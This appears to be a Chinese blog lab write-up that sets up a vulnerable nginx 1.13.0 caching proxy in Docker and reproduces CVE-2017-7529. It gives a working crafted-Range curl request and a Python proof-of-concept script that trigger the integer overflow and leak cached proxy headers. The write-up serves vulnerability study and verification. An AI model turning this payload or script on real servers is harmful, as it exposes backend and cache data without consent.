漏洞具体信息可以看http://www.freebuf.com/articles/terminal/140402.html
使用之前制好的镜像ubuntu_aliyun:1.0创建新容器:
docker run -it -d --name nginx_int_overflow -p 8086:80 ubuntu_aliyun:1.0
docker exec -it id /bin/bash
apt-get update
然后安装必要的包,如:
apt-get install wget gcc make curl vim python
有两种安装的方法一种是直接通过apt-get install nginx,这样当前测试安装的版本是1.10.3,但不推荐这种安装,默认安装的都是官网有打补丁的(不过没有测试);
另一种方法就是源代码安装,这里下载1.13.0版本:
wget http://nginx.org/download/nginx-1.13.0.tar.gz
tar -zxvf nginx-1.13.0.tar.gz
cd /nginx
./configure --prefix=/opt/nginx
make
make install
期间在运行configure时会提示需要安装相应的库:
apt-get install libpcre3 libpcre3-dev zlib1g-dev
然后再make和make install就好,接着进入Nginx的目录,查看版本并开启:
到/home目录中新建test.html测试文件,然后输入命令:
nohup python -m SimpleHTTPServer 8080 &
该命令会建立简单的HTTP服务器并在后台运行。
通过curl确认可以访问:
然后修改Nginx配置文件:
vim /opt/nginx/conf/nginx.conf
在http的server中的lication中添加:
proxy_pass http://127.0.0.1:8080;
保存退出,重启Nginx(先kill掉相关进程再./nginx开启)。
然后在物理机访问看看:
访问如图则反向代理配置成功。
按照开头FreeBuf那篇文章的内容进行修改,这里的图片URL是当时看博客的时候随意找的一个,红框里的内容是添加、修改的内容:
两次调用curl命令,可以看到header中有X-Proxy-Cache字段且其值从第一次的MISS到第二次为HIT,即通过两次访问有了命中缓存,另外也可以看到该图片文件的大小为152814bits:
然后查找Nginx缓存文件的路径:
find /tmp/nginx
找到路径最长的那个,通过head命令查看开头前几行看看:
可以看到其存在“KEY”关键字,即是实现两层的缓存,可以看到真正的图片所在的服务器和Nginx服务器之间的header信息。
下面来计算相关的range值:
图片的大小记为img_len,则img_len=152814
总的大小值记为len,则len=0×8000000000000000
为了让第一个范围值range1向前读取其他数据,range1和img_len的差值最好保持在600左右(个人测试其他数值,太大或太小都会影响结果),即range1-img_len=600,得出range1=153414
第二个范围值range2=len-range1,即可得出range2=9223372036854622394
最后将两个range值放到curl的-r参数中即可,由于输出较多就输出到一个文件中再查看即可:
curl -i http://127.0.0.1/upload/2015_04/15040421234894.jpg -r -153414,-9223372036854622394 > 1.txt
vim 1.txt
可以看到,有KEY关键字,即查看到了Nginx和原来的服务器的一些信息,其中header中有Content-Range字段,其值正是设置的range值的范围,即验证了Nginx整数溢出漏洞的存在。
下面的这段脚本比较简略,直接使用Linux的curl命令来实现验证,因而在Linux中运行。
#!/usr/bin/python
#coding=utf-8
import os
import commands
import sys
def poc(url):
print '[*]Testing for: ' + url
cmd1 = 'curl -I ' + url
os.popen(cmd1)
os.popen(cmd1)
re1 = commands.getoutput(cmd1).split('\n')
hit = False
has_x_proxy_cache = False
img_len = 0
for i in range(0,len(re1)):
# print re1[i]
if 'X-Proxy-Cache' in re1[i]:
has_x_proxy_cache = True
if 'HIT' in re1[i]:
hit = True
if 'Content-Length' in re1[i]:
img_len = int(re1[i].split(' ')[1])
if has_x_proxy_cache:
if hit:
print '[*]X-Proxy-Cache is HIT.'
print '[*]The image length: ' + str(img_len)
len1 = img_len + 600
len2 = 0x8000000000000000 - len1
cmd2 = 'curl -i ' + url + ' -r -' + str(len1) + ',-' + str(len2)
re2 = commands.getoutput(cmd2).split('\n')
vul = False
for i in range(0,len(re2)):
if 'KEY' in re2[i]:
print '[+]Nginx Int Overflow(CVE-2017-7529) exists!'
print '[+]' + re2[i]
vul = True
if not vul:
print '[-]Can not find the vuln.'
else:
print '[-]The X-Proxy-Cache is MISS.'
print '[-]Can not find the vuln.'
else:
print '[-]The header without X-Proxy-Cache.'
print '[-]Can not find the vuln.'
def main():
if len(sys.argv) == 2:
url = sys.argv[1]
poc(url)
else:
print '[*]Usage: python nginx_int_overflow.py [URL]'
if __name__ == '__main__':
main()
在另外一台docker容器kali-linux-docker中运行脚本(注意验证的前提是当前主机还没访问过该URL或者访问已经过去很久了,就是验证的时候不能存在缓存即可):
可以看到,成功验证了该漏洞的存在。
exit
docker stop id
docker commit id nginx_int_overflow:1.0
docker save -o nginx_int_overflow.tar nginx_int_overflow:1.0
至此完成了Nginx整数溢出漏洞环境的搭建和PoC的验证,其中该脚本有很多地方可以去优化的以及编写Windows下的PoC,有时间再改改吧~